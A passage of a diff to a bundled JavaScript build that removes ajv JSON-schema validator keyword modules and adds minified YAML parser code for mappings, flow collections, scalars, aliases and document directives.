"__esModule", { value: true }); - var items_1 = require_items(); - var def = { - keyword: "prefixItems", - type: "array", - schemaType: ["array"], - before: "uniqueItems", - code: (cxt) => (0, items_1.validateTuple)(cxt, "items") - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/items2020.js -var require_items2020 = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/items2020.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var code_1 = require_code2(); - var additionalItems_1 = require_additionalItems(); - var error2 = { - message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, - params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` - }; - var def = { - keyword: "items", - type: "array", - schemaType: ["object", "boolean"], - before: "uniqueItems", - error: error2, - code(cxt) { - const { schema: schema8, parentSchema, it: it2 } = cxt; - const { prefixItems } = parentSchema; - it2.items = true; - if ((0, util_1.alwaysValidSchema)(it2, schema8)) - return; - if (prefixItems) - (0, additionalItems_1.validateAdditionalItems)(cxt, prefixItems); - else - cxt.ok((0, code_1.validateArray)(cxt)); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/contains.js -var require_contains = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/contains.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: ({ params: { min: min2, max: max2 } }) => max2 === void 0 ? (0, codegen_1.str)`must contain at least ${min2} valid item(s)` : (0, codegen_1.str)`must contain at least ${min2} and no more than ${max2} valid item(s)`, - params: ({ params: { min: min2, max: max2 } }) => max2 === void 0 ? (0, codegen_1._)`{minContains: ${min2}}` : (0, codegen_1._)`{minContains: ${min2}, maxContains: ${max2}}` - }; - var def = { - keyword: "contains", - type: "array", - schemaType: ["object", "boolean"], - before: "uniqueItems", - trackErrors: true, - error: error2, - code(cxt) { - const { gen, schema: schema8, parentSchema, data, it: it2 } = cxt; - let min2; - let max2; - const { minContains, maxContains } = parentSchema; - if (it2.opts.next) { - min2 = minContains === void 0 ? 1 : minContains; - max2 = maxContains; - } else { - min2 = 1; + function Y6(e12, t10, i9, o8, s8) { + var a8, p8, g8, b9, v9, j7, $6, I7, R7 = 1, D7 = false, C7 = false; + e12.tag = null, e12.anchor = null, e12.kind = null, e12.result = null, a8 = p8 = g8 = u7 === i9 || l7 === i9, o8 && K5(e12, true, -1) && (D7 = true, e12.lineIndent > t10 ? R7 = 1 : e12.lineIndent === t10 ? R7 = 0 : e12.lineIndent < t10 && (R7 = -1)); + let F7 = e12.position; + if (e12.position, e12.lineStart, 1 === R7) + for (; J5(e12) || Z5(e12); ) + K5(e12, true, -1) ? (D7 = true, g8 = a8, e12.lineIndent > t10 ? R7 = 1 : e12.lineIndent === t10 ? R7 = 0 : e12.lineIndent < t10 && (R7 = -1)) : g8 = false; + if (g8 && (g8 = D7 || s8), 1 !== R7 && u7 !== i9 || ($6 = d7 === i9 || f8 === i9 ? t10 : t10 + 1, I7 = e12.position - e12.lineStart, 1 === R7 ? g8 && (W5(e12, I7) || function(e13, t11, i10) { + var r9, o9, s9, a9, p9 = e13.tag, c8 = e13.anchor, d8 = n8.newMap(), l8 = null, m8 = null, h9 = false, y8 = false; + for (d8.startPosition = e13.position, null !== e13.anchor && (d8.anchorId = e13.anchor, e13.anchorMap[e13.anchor] = d8), a9 = e13.input.charCodeAt(e13.position); 0 !== a9; ) { + if (r9 = e13.input.charCodeAt(e13.position + 1), s9 = e13.line, 63 !== a9 && 58 !== a9 || !w6(r9)) { + if (!Y6(e13, i10, f8, false, true)) + break; + if (e13.line === s9) { + for (a9 = e13.input.charCodeAt(e13.position); _6(a9); ) + a9 = e13.input.charCodeAt(++e13.position); + if (58 === a9) + w6(a9 = e13.input.charCodeAt(++e13.position)) || N6(e13, "a whitespace character is expected after the key-value separator within a block mapping"), h9 && (z6(e13, d8, 0, l8, null), l8 = m8 = null), y8 = true, h9 = false, o9 = false, e13.tag, l8 = e13.result; + else { + if (e13.position == e13.lineStart && H5(e13)) + break; + if (!y8) + return e13.tag = p9, e13.anchor = c8, true; + N6(e13, "can not read an implicit mapping pair; a colon is missed"); + } + } else { + if (!y8) + return e13.tag = p9, e13.anchor = c8, true; + for (N6(e13, "can not read a block mapping entry; a multiline key may not be an implicit key"); e13.position > 0; ) + if (x7(a9 = e13.input.charCodeAt(--e13.position))) { + e13.position++; + break; + } + } + } else + 63 === a9 ? (h9 && (z6(e13, d8, 0, l8, null), l8 = m8 = null), y8 = true, h9 = true, o9 = true) : h9 ? (h9 = false, o9 = true) : N6(e13, "incomplete explicit mapping pair; a key node is missed"), e13.position += 1, a9 = r9; + if ((e13.line === s9 || e13.lineIndent > t11) && (Y6(e13, t11, u7, true, o9) && (h9 ? l8 = e13.result : m8 = e13.result), h9 || (z6(e13, d8, 0, l8, m8), l8 = m8 = null), K5(e13, true, -1), a9 = e13.input.charCodeAt(e13.position)), e13.lineIndent > t11 && 0 !== a9) + N6(e13, "bad indentation of a mapping entry"); + else if (e13.lineIndent < t11) + break; + } + return h9 && z6(e13, d8, 0, l8, null), y8 && (e13.tag = p9, e13.anchor = c8, e13.kind = "mapping", e13.result = d8), y8; + }(e12, I7, $6)) || function(e13, t11) { + var i10, r9, o9, s9, a9, p9, c8, f9, l8, u8 = true, m8 = e13.tag, h9 = e13.anchor; + if (91 === (l8 = e13.input.charCodeAt(e13.position))) + o9 = 93, p9 = false, (r9 = n8.newItems()).startPosition = e13.position; + else { + if (123 !== l8) + return false; + o9 = 125, p9 = true, (r9 = n8.newMap()).startPosition = e13.position; + } + for (null !== e13.anchor && (r9.anchorId = e13.anchor, e13.anchorMap[e13.anchor] = r9), l8 = e13.input.charCodeAt(++e13.position); 0 !== l8; ) { + if (K5(e13, true, t11), (l8 = e13.input.charCodeAt(e13.position)) === o9) + return e13.position++, e13.tag = m8, e13.anchor = h9, e13.kind = p9 ? "mapping" : "sequence", e13.result = r9, r9.endPosition = e13.position, true; + if (!u8) { + var y8 = e13.position; + N6(e13, "missed comma between flow collection entries"), e13.position = y8 + 1; + } + if (c8 = f9 = null, s9 = a9 = false, 63 === l8 && w6(e13.input.charCodeAt(e13.position + 1)) && (s9 = a9 = true, e13.position++, K5(e13, true, t11)), i10 = e13.line, Y6(e13, t11, d7, false, true), e13.tag, c8 = e13.result, K5(e13, true, t11), l8 = e13.input.charCodeAt(e13.position), !a9 && e13.line !== i10 || 58 !== l8 || (s9 = true, l8 = e13.input.charCodeAt(++e13.position), K5(e13, true, t11), Y6(e13, t11, d7, false, true), f9 = e13.result), p9) + z6(e13, r9, 0, c8, f9); + else if (s9) { + var g9 = z6(e13, null, 0, c8, f9); + g9.parent = r9, r9.items.push(g9); + } else + c8 && (c8.parent = r9), r9.items.push(c8); + r9.endPosition = e13.position + 1, K5(e13, true, t11), 44 === (l8 = e13.input.charCodeAt(e13.position)) ? (u8 = true, l8 = e13.input.charCodeAt(++e13.position)) : u8 = false; + } + N6(e13, "unexpected end of the stream within a flow collection"); + }(e12, $6) ? C7 = true : (p8 && function(e13, t11) { + var i10, o9, s9, a9, p9 = m7, c8 = false, d8 = t11, f9 = 0, l8 = false; + if (124 === (a9 = e13.input.charCodeAt(e13.position))) + o9 = false; + else { + if (62 !== a9) + return false; + o9 = true; + } + var u8 = n8.newScalar(); + for (e13.kind = "scalar", e13.result = u8, u8.startPosition = e13.position; 0 !== a9; ) + if (43 === (a9 = e13.input.charCodeAt(++e13.position)) || 45 === a9) + m7 === p9 ? p9 = 43 === a9 ? y7 : h8 : N6(e13, "repeat of a chomping mode identifier"); + else { + if (!((s9 = T6(a9)) >= 0)) + break; + 0 === s9 ? N6(e13, "bad explicit indentation width of a block scalar; it cannot be less than one") : c8 ? N6(e13, "repeat of an indentation width identifier") : (d8 = t11 + s9 - 1, c8 = true); + } + if (_6(a9)) { + do { + a9 = e13.input.charCodeAt(++e13.position); + } while (_6(a9)); + 35 === a9 && (Q5(e13), a9 = e13.input.charCodeAt(e13.position)); + } + for (; 0 !== a9; ) { + for (B6(e13), e13.lineIndent = 0, a9 = e13.input.charCodeAt(e13.position); (!c8 || e13.lineIndent < d8) && 32 === a9; ) + e13.lineIndent++, a9 = e13.input.charCodeAt(++e13.position); + if (!c8 && e13.lineIndent > d8 && (d8 = e13.lineIndent), x7(a9)) + f9++; + else { + if (e13.lineIndent < d8) { + p9 === y7 ? u8.value += r8.repeat("\n", f9) : p9 === m7 && c8 && (u8.value += "\n"); + break; + } + for (o9 ? _6(a9) ? (l8 = true, u8.value += r8.repeat("\n", f9 + 1)) : l8 ? (l8 = false, u8.value += r8.repeat("\n", f9 + 1)) : 0 === f9 ? c8 && (u8.value += " ") : u8.value += r8.repeat("\n", f9) : c8 && (u8.value += r8.repeat("\n", f9 + 1)), c8 = true, f9 = 0, i10 = e13.position; !x7(a9) && 0 !== a9; ) + a9 = e13.input.charCodeAt(++e13.position); + L6(e13, i10, e13.position, false); + } + } + u8.endPosition = e13.position; + for (var g9 = e13.position - 1; ; ) { + var b10 = e13.input[g9]; + if ("\r" == b10 || "\n" == b10) + break; + if (" " != b10 && " " != b10) + break; + g9--; + } + return u8.endPosition = g9, u8.rawValue = e13.input.substring(u8.startPosition, u8.endPosition), true; + }(e12, $6) || function(e13, t11) { + var i10, r9, o9; + if (39 !== (i10 = e13.input.charCodeAt(e13.position))) + return false; + var s9 = n8.newScalar(); + for (s9.singleQuoted = true, e13.kind = "scalar", e13.result = s9, s9.startPosition = e13.position, e13.position++, r9 = o9 = e13.position; 0 !== (i10 = e13.input.charCodeAt(e13.position)); ) + if (39 === i10) { + if (L6(e13, r9, e13.position, true), i10 = e13.input.charCodeAt(++e13.position), s9.endPosition = e13.position, 39 !== i10) + return true; + r9 = o9 = e13.position, e13.position++; + } else + x7(i10) ? (L6(e13, r9, o9, true), G5(0, s9, K5(e13, false, t11)), r9 = o9 = e13.position) : e13.position === e13.lineStart && H5(e13) ? N6(e13, "unexpected end of the document within a single quoted scalar") : (e13.position++, o9 = e13.position, s9.endPosition = e13.position); + N6(e13, "unexpected end of the stream within a single quoted scalar"); + }(e12, $6) || function(e13, t11) { + var i10, r9, o9, s9, a9, p9; + if (34 !== (p9 = e13.input.charCodeAt(e13.position))) + return false; + e13.kind = "scalar"; + var c8 = n8.newScalar(); + for (c8.doubleQuoted = true, e13.result = c8, c8.startPosition = e13.position, e13.position++, i10 = r9 = e13.position; 0 !== (p9 = e13.input.charCodeAt(e13.position)); ) { + if (34 === p9) + return L6(e13, i10, e13.position, true), e13.position++, c8.endPosition = e13.position, c8.rawValue = e13.input.substring(c8.startPosition, c8.endPosition), true; + if (92 === p9) { + if (L6(e13, i10, e13.position, true), x7(p9 = e13.input.charCodeAt(++e13.position))) + K5(e13, false, t11); + else if (p9 < 256 && (e13.allowAnyEscape ? k6[p9] : E6[p9])) + c8.value += e13.allowAnyEscape ? M6[p9] : q5[p9], e13.position++; + else if ((a9 = O7(p9)) > 0) { + for (o9 = a9, s9 = 0; o9 > 0; o9--) + (a9 = P6(p9 = e13.input.charCodeAt(++e13.position))) >= 0 ? s9 = (s9 << 4) + a9 : N6(e13, "expected hexadecimal character"); + c8.value += A6(s9), e13.position++; + } else + N6(e13, "unknown escape sequence"); + i10 = r9 = e13.position; + } else + x7(p9) ? (L6(e13, i10, r9, true), G5(0, c8, K5(e13, false, t11)), i10 = r9 = e13.position) : e13.position === e13.lineStart && H5(e13) ? N6(e13, "unexpected end of the document within a double quoted scalar") : (e13.position++, r9 = e13.position); + } + N6(e13, "unexpected end of the stream within a double quoted scalar"); + }(e12, $6) ? C7 = true : function(e13) { + var t11, i10, r9; + if (e13.length, e13.input, 42 !== (r9 = e13.input.charCodeAt(e13.position))) + return false; + for (r9 = e13.input.charCodeAt(++e13.position), t11 = e13.position; 0 !== r9 && !w6(r9) && !S6(r9); ) + r9 = e13.input.charCodeAt(++e13.position); + return e13.position <= t11 && (N6(e13, "name of an alias node must contain at least one character"), e13.position = t11 + 1), i10 = e13.input.slice(t11, e13.position), e13.anchorMap.hasOwnProperty(i10) || (N6(e13, 'unidentified alias "' + i10 + '"'), e13.position <= t11 && (e13.position = t11 + 1)), e13.result = n8.newAnchorRef(i10, t11, e13.position, e13.anchorMap[i10]), K5(e13, true, -1), true; + }(e12) ? (C7 = true, null === e12.tag && null === e12.anchor || N6(e12, "alias node should not have any properties")) : function(e13, t11, i10) { + var r9, o9, s9, a9, p9, c8, d8, f9, l8 = e13.kind, u8 = e13.result, m8 = n8.newScalar(); + if (m8.plainScalar = true, e13.result = m8, w6(f9 = e13.input.charCodeAt(e13.position)) || S6(f9) || 35 === f9 || 38 === f9 || 42 === f9 || 33 === f9 || 124 === f9 || 62 === f9 || 39 === f9 || 34 === f9 || 37 === f9 || 64 === f9 || 96 === f9) + return false; + if ((63 === f9 || 45 === f9) && (w6(r9 = e13.input.charCodeAt(e13.position + 1)) || i10 && S6(r9))) + return false; + for (e13.kind = "scalar", o9 = s9 = e13.position, a9 = false; 0 !== f9; ) { + if (58 === f9) { + if (w6(r9 = e13.input.charCodeAt(e13.position + 1)) || i10 && S6(r9)) + break; + } else if (35 === f9) { + if (w6(e13.input.charCodeAt(e13.position - 1))) + break; + } else { + if (e13.position === e13.lineStart && H5(e13) || i10 && S6(f9)) + break; + if (x7(f9)) { + if (p9 = e13.line, c8 = e13.lineStart, d8 = e13.lineIndent, K5(e13, false, -1), e13.lineIndent >= t11) { + a9 = true, f9 = e13.input.charCodeAt(e13.position); + continue; + } + e13.position = s9, e13.line = p9, e13.lineStart = c8, e13.lineIndent = d8; + break; + } + } + if (a9 && (L6(e13, o9, s9, false), G5(0, m8, e13.line - p9), o9 = s9 = e13.position, a9 = false), _6(f9) || (s9 = e13.position + 1), f9 = e13.input.charCodeAt(++e13.position), e13.position >= e13.input.length) + return false; + } + return L6(e13, o9, s9, false), -1 != e13.result.startPosition ? (m8.rawValue = e13.input.substring(m8.startPosition, m8.endPosition), true) : (e13.kind = l8, e13.result = u8, false); + }(e12, $6, d7 === i9) && (C7 = true, null === e12.tag && (e12.tag = "?")), null !== e12.anchor && (e12.anchorMap[e12.anchor] = e12.result, e12.result.anchorId = e12.anchor)) : 0 === R7 && (C7 = g8 && W5(e12, I7))), null !== e12.tag && "!" !== e12.tag) + if ("!include" == e12.tag) + e12.result || (e12.result = n8.newScalar(), e12.result.startPosition = e12.position, e12.result.endPosition = e12.position, N6(e12, "!include without value")), e12.result.kind = n8.Kind.INCLUDE_REF; + else if ("?" === e12.tag) + for (b9 = 0, v9 = e12.implicitTypes.length; b9 < v9; b9 += 1) { + j7 = e12.implicitTypes[b9]; + var U7 = e12.result.value; + if (j7.resolve(U7)) { + e12.result.valueObject = j7.construct(e12.result.value), e12.tag = j7.tag, null !== e12.anchor && (e12.result.anchorId = e12.anchor, e12.anchorMap[e12.anchor] = e12.result); + break; + } + } + else + c7.call(e12.typeMap, e12.tag) ? (j7 = e12.typeMap[e12.tag], null !== e12.result && j7.kind !== e12.kind && N6(e12, "unacceptable node kind for !<" + e12.tag + '> tag; it should be "' + j7.kind + '", not "' + e12.kind + '"'), j7.resolve(e12.result) ? (e12.result = j7.construct(e12.result), null !== e12.anchor && (e12.result.anchorId = e12.anchor, e12.anchorMap[e12.anchor] = e12.result)) : N6(e12, "cannot resolve a node with !<" + e12.tag + "> explicit tag")) : V5(e12, F7, "unknown tag <" + e12.tag + ">", false, true); + return null !== e12.tag || null !== e12.anchor || C7; } - const len = gen.const("len", (0, codegen_1._)`${data}.length`); - cxt.setParams({ min: min2, max: max2 }); - if (max2 === void 0 && min2 === 0) { - (0, util_1.checkStrictMode)(it2, `"minContains" == 0 without "maxContains": "contains" keyword ignored`); - return; + function X5(e12) { + var t10, i9, n9, r9, o8 = e12.position, s8 = false; + for (e12.version = null, e12.checkLineBreaks = e12.legacy, e12.tagMap = {}, e12.anchorMap = {}, e12.comments = []; 0 !== (r9 = e12.input.charCodeAt(e12.position)) && (K5(e12, true, -1), r9 = e12.input.charCodeAt(e12.position), !(e12.lineIndent > 0 || 37 !== r9)); ) { + for (s8 = true, r9 = e12.input.charCodeAt(++e12.position), t10 = e12.position; 0 !== r9 && !w6(r9); ) + r9 = e12.input.charCodeAt(++e12.position); + for (n9 = [], (i9 = e12.input.slice(t10, e12.position)).length < 1 && N6(e12, "directive name must not be less than one character in length"); 0 !== r9; ) { + for (; _6(r9); ) + r9 = e12.input.charCodeAt(++e12.position); + if (35 === r9) { + Q5(e12), r9 = e12.input.charCodeAt(e12.position); + break; + } + if (x7(r9)) + break; + for (t10 = e12.position; 0 !== r9 && !w6(r9); ) + r9 = e12.input.charCodeAt(++e12.position); + n9.push(e12.input.slice(t10, e12.position)); + } + 0 !== r9 && B6(e12), c7.call(U6, i9) ? U6[i9](e12, i9, n9) : (F6(e12, 'unknown document directive "' + i9 + '"'), e12.position++); + } + K5(e12, true, -1), 0 === e12.lineIndent && 45 === e12.input.charCodeAt(e12.position) && 45 === e12.input.charCodeAt(e12.position + 1) && 45 === e12.input.charCodeAt(e12.position + 2) ? (e12.position += 3, K5(e12, true, -1)) : s8 && N6(e12, "directives end mark is expected"), Y6(e12, e12.lineIndent - 1, u7, false, true), K5(e12, true, -1), e12.checkLineBreaks && b8.test(e12.input.slice(o8, e12.position)) && F6(e12, "non-ASCII line breaks are interpreted as content"), e12.result.comments = e12.comments, e12.documents.push(e12.result), e12.position === e12.lineStart && H5(e12) ? 46 === e12.input.charCodeAt(e12.position) && (e12.position += 3, K5(e12, true, -1)) : e12.position < e12.length - 1 && N6(e12, "end of the stream or a document separator is expected"); } - if (max2 !== void 0 && min2 > max2) { - (0, util_1.checkStrictMode)(it2, `"minContains" > "maxContains" is always invalid`); - cxt.fail(); - return; + function ee4(e12, t10) { + t10 = t10 || {}; + let i9 = (e12 = String(e12)).length; + 0 !== i9 && (10 !== e12.charCodeAt(i9 - 1) && 13 !== e12.charCodeAt(i9 - 1) && (e12 += "\n"), 65279 === e12.charCodeAt(0) && (e12 = e12.slice(1))); + var n9 = new D6(e12, t10); + for (n9.input += "\0"; 32 === n9.input.charCodeAt(n9.position); ) + n9.lineIndent += 1, n9.position += 1; + for (; n9.position < n9.length - 1; ) { + var r9 = n9.position; + if (X5(n9), n9.position <= r9) + for (; n9.position < n9.length - 1 && "\n" != n9.input.charAt(n9.position); n9.position++) + ; + } + let o8 = n9.documents, s8 = o8.length; + s8 > 0 && (o8[s8 - 1].endPosition = i9); + for (let e13 of o8) + e13.errors = n9.errors, e13.startPosition > e13.endPosition && (e13.startPosition = e13.endPosition); + return o8; } - if ((0, util_1.alwaysValidSchema)(it2, schema8)) { - let cond2 = (0, codegen_1._)`${len} >= ${min2}`; - if (max2 !== void 0) - cond2 = (0, codegen_1._)`${cond2} && ${len} <= ${max2}`; - cxt.pass(cond2); - return; + function te4(e12, t10, i9 = {}) { + var n9, r9, o8 = ee4(e12, i9); + for (n9 = 0, r9 = o8.length; n9 < r9; n9 += 1) + t10(o8[n9]); } - it2.items = true; - const valid = gen.name("valid"); - if (max2 === void 0 && min2 === 1) { - validateItems(valid, () => gen.if(valid, () => gen.break())); - } else if (min2 === 0) { - gen.let(valid, true); - if (max2 !== void 0) - gen.if((0, codegen_1._)`${data}.length > 0`, validateItemsWithCount); - } else { - gen.let(valid, false); - validateItemsWithCount(); + function ie3(e12, t10 = {}) { + var i9 = ee4(e12, t10); + if (0 !== i9.length) { + if (1 === i9.length) + return i9[0]; + var n9 = new o7("expected a single document in the stream, but found more"); + return n9.mark = new s7("", "", 0, 0, 0), n9.mark.position = i9[0].endPosition, i9[0].errors.push(n9), i9[0]; + } } - cxt.result(valid, () => cxt.reset()); - function validateItemsWithCount() { - const schValid = gen.name("_valid"); - const count2 = gen.let("count", 0); - validateItems(schValid, () => gen.if(schValid, () => checkLimits(count2))); + function ne4(e12, t10, i9 = {}) { + te4(e12, t10, r8.extend({ schema: a7 }, i9)); } - function validateItems(_valid, block) { - gen.forRange("i", 0, len, (i7) => { - cxt.subschema({ - keyword: "contains", - dataProp: i7, - dataPropType: util_1.Type.Num, - compositeRule: true - }, _valid); - block(); - }); + function re4(e12, t10 = {}) { + return ie3(e12, r8.extend({ schema: a7 }, t10)); } - function checkLimits(count2) { - gen.code((0, codegen_1._)`${count2}++`); - if (max2 === void 0) { - gen.if((0, codegen_1._)`${count2} >= ${min2}`, () => gen.assign(valid, true).break()); - } else { - gen.if((0, codegen_1._)`${count2} > ${max2}`, () => gen.assign(valid, false).break()); - if (min2 === 1) - gen.assign(valid, true); - else - gen.if((0, codegen_1._)`${count2} >= ${min2}`, () => gen.assign(valid, true)); + t9.loadAll = te4, t9.load = ie3, t9.safeLoadAll = ne4, t9.safeLoad = re4, e11.exports.loadAll = te4, e11.exports.load = ie3, e11.exports.safeLoadAll = ne4, e11.exports.safeLoad = re4; + }, 57804: (e11, t9, i8) => { + "use strict"; + const n8 = i8(29228); + e11.exports = class { + constructor(e12, t10, i9, n9, r8) { + this.name = e12, this.buffer = t10, this.position = i9, this.line = n9, this.column = r8; + } + getSnippet(e12 = 0, t10 = 75) { + var i9, r8, o7, s7, a7; + if (!this.buffer) + return null; + for (e12 = e12 || 4, t10 = t10 || 75, i9 = "", r8 = this.position; r8 > 0 && -1 === "\0\r\n\x85\u2028\u2029".indexOf(this.buffer.charAt(r8 - 1)); ) + if (r8 -= 1, this.position - r8 > t10 / 2 - 1) { + i9 = " ... ", r8 += 5; + break; + } + for (o7 = "", s7 = this.position; s7 < this.buffer.length && -1 === "\0\r\n\x85\u2028\u2029".indexOf(this.buffer.charAt(s7)); ) + if ((s7 += 1) - this.position > t10 / 2 - 1) { + o7 = " ... ", s7 -= 5; + break; + } + return a7 = this.buffer.slice(r8, s7), n8.repeat(" ", e12) + i9 + a7 + o7 + "\n" + n8.repeat(" ", e12 + this.position - r8 + i9.length) + "^"; + } + toString(e12 = true) { + var t10, i9 = ""; + return this.name && (i9 += 'in "' + this.name + '" '), i9 += "at line " + (this.line + 1) + ", column " + (this.column + 1), e12 || (t10 = this.getSnippet()) && (i9 += ":\n" + t10), i9; } + }; + }, 58198: (e11, t9) => { + "use strict"; + function i8(e12) { + const t10 = function(e13) { + return 0 === e13.lastIndexOf("0o", 0) ? parseInt(e13.substring(2), 8) : parseInt(e13); + }(e12); + if (Number.isNaN(t10)) + throw `Invalid integer "${e12}"`; + return t10; } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/dependencies.js -var require_dependencies = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/dependencies.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.validateSchemaDeps = exports28.validatePropertyDeps = exports28.error = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var code_1 = require_code2(); - exports28.error = { - message: ({ params: { property: property2, depsCount, deps } }) => { - const property_ies = depsCount === 1 ? "property" : "properties"; - return (0, codegen_1.str)`must have ${property_ies} ${deps} when property ${property2} is present`; - }, - params: ({ params: { property: property2, depsCount, deps, missingProperty } }) => (0, codegen_1._)`{property: ${property2}, - missingProperty: ${missingProperty}, - depsCount: ${depsCount}, - deps: ${deps}}` - // TODO change to reference - }; - var def = { - keyword: "dependencies", - type: "object", - schemaType: "object", - error: exports28.error, - code(cxt) { - const [propDeps, schDeps] = splitDependencies(cxt); - validatePropertyDeps(cxt, propDeps); - validateSchemaDeps(cxt, schDeps); - } - }; - function splitDependencies({ schema: schema8 }) { - const propertyDeps = {}; - const schemaDeps = {}; - for (const key in schema8) { - if (key === "__proto__") - continue; - const deps = Array.isArray(schema8[key]) ? propertyDeps : schemaDeps; - deps[key] = schema8[key]; - } - return [propertyDeps, schemaDeps]; - } - function validatePropertyDeps(cxt, propertyDeps = cxt.schema) { - const { gen, data, it: it2 } = cxt; - if (Object.keys(propertyDeps).length === 0) - return; - const missing = gen.let("missing"); - for (const prop in propertyDeps) { - const deps = propertyDeps[prop]; - if (deps.length === 0) - continue; - const hasProperty = (0, code_1.propertyInData)(gen, data, prop, it2.opts.ownProperties); - cxt.setParams({ - property: prop, - depsCount: deps.length, - deps: deps.join(", ") - }); - if (it2.allErrors) { - gen.if(hasProperty, () => { - for (const depProp of deps) { - (0, code_1.checkReportMissingProp)(cxt, depProp); - } + var n8; + Object.defineProperty(t9, "__esModule", { value: true }), t9.parseYamlBoolean = function(e12) { + if (["true", "True", "TRUE"].lastIndexOf(e12) >= 0) + return true; + if (["false", "False", "FALSE"].lastIndexOf(e12) >= 0) + return false; + throw `Invalid boolean "${e12}"`; + }, t9.parseYamlInteger = i8, t9.parseYamlBigInteger = function(e12) { + const t10 = i8(e12); + return t10 > Number.MAX_SAFE_INTEGER && -1 === e12.lastIndexOf("0o", 0) ? BigInt(e12) : t10; + }, t9.parseYamlFloat = function(e12) { + if ([".nan", ".NaN", ".NAN"].lastIndexOf(e12) >= 0) + return NaN; + const t10 = /^([-+])?(?:\.inf|\.Inf|\.INF)$/.exec(e12); + if (t10) + return "-" === t10[1] ? -1 / 0 : 1 / 0; + const i9 = parseFloat(e12); + if (!isNaN(i9)) + return i9; + throw `Invalid float "${e12}"`; + }, function(e12) { + e12[e12.null = 0] = "null", e12[e12.bool = 1] = "bool", e12[e12.int = 2] = "int", e12[e12.float = 3] = "float", e12[e12.string = 4] = "string"; + }(n8 = t9.ScalarType || (t9.ScalarType = {})), t9.determineScalarType = function(e12) { + if (void 0 === e12) + return n8.null; + if (e12.doubleQuoted || !e12.plainScalar || e12.singleQuoted) + return n8.string; + const t10 = e12.value; + return ["null", "Null", "NULL", "~", ""].indexOf(t10) >= 0 || null == t10 ? n8.null : ["true", "True", "TRUE", "false", "False", "FALSE"].indexOf(t10) >= 0 ? n8.bool : /^[-+]?[0-9]+$/.test(t10) || /^0o[0-7]+$/.test(t10) || /^0x[0-9a-fA-F]+$/.test(t10) ? n8.int : /^[-+]?(\.[0-9]+|[0-9]+(\.[0-9]*)?)([eE][-+]?[0-9]+)?$/.test(t10) || /^[-+]?(\.inf|\.Inf|\.INF)$/.test(t10) || [".nan", ".NaN", ".NAN"].indexOf(t10) >= 0 ? n8.float : n8.string; + }; + }, 63114: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(29228), r8 = i8(94716), o7 = i8(23697); + function s7(e12, t10, i9) { + var n9 = []; + return e12.include.forEach(function(e13) { + i9 = s7(e13, t10, i9); + }), e12[t10].forEach(function(e13) { + i9.forEach(function(t11, i10) { + t11.tag === e13.tag && n9.push(i10); + }), i9.push(e13); + }), i9.filter(function(e13, t11) { + return -1 === n9.indexOf(t11); }); - } else { - gen.if((0, codegen_1._)`${hasProperty} && (${(0, code_1.checkMissingProp)(cxt, deps, missing)})`); - (0, code_1.reportMissingProp)(cxt, missing); - gen.else(); } - } - } - exports28.validatePropertyDeps = validatePropertyDeps; - function validateSchemaDeps(cxt, schemaDeps = cxt.schema) { - const { gen, data, keyword, it: it2 } = cxt; - const valid = gen.name("valid"); - for (const prop in schemaDeps) { - if ((0, util_1.alwaysValidSchema)(it2, schemaDeps[prop])) - continue; - gen.if( - (0, code_1.propertyInData)(gen, data, prop, it2.opts.ownProperties), - () => { - const schCxt = cxt.subschema({ keyword, schemaProp: prop }, valid); - cxt.mergeValidEvaluated(schCxt, valid); - }, - () => gen.var(valid, true) - // TODO var - ); - cxt.ok(valid); - } - } - exports28.validateSchemaDeps = validateSchemaDeps; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/propertyNames.js -var require_propertyNames = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/propertyNames.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var error2 = { - message: "property name must be valid", - params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` - }; - var def = { - keyword: "propertyNames", - type: "object", - schemaType: ["object", "boolean"], - error: error2, - code(cxt) { - const { gen, schema: schema8, data, it: it2 } = cxt; - if ((0, util_1.alwaysValidSchema)(it2, schema8)) - return; - const valid = gen.name("valid"); - gen.forIn("key", data, (key) => { - cxt.setParams({ propertyName: key }); - cxt.subschema({ - keyword: "propertyNames", - data: key, - dataTypes: ["string"], - propertyName: key, - compositeRule: true - }, valid); - gen.if((0, codegen_1.not)(valid), () => { - cxt.error(true); - if (!it2.allErrors) - gen.break(); - }); - }); - cxt.ok(valid); - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/applicator/additionalProperties.js -var require_additionalProperties = __commonJS({ - "node_modules/ajv/dist/vocabularies/applicator/additionalProperties.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var code_1 = require_code2(); - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var util_1 = require_util(); - var error2 = { - message: "must NOT have additional properties", - params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` - }; - var def = { - keyword: "additionalProperties", - type: ["object"], - schemaType: ["boolean", "object"], - allowUndefined: true, - trackErrors: true, - error: error2, - code(cxt) { - const { gen, schema: schema8, parentSchema, data, errsCount, it: it2 } = cxt; - if (!errsCount) - throw new Error("ajv implementation error"); - const { allErrors, opts } = it2; - it2.props = true; - if 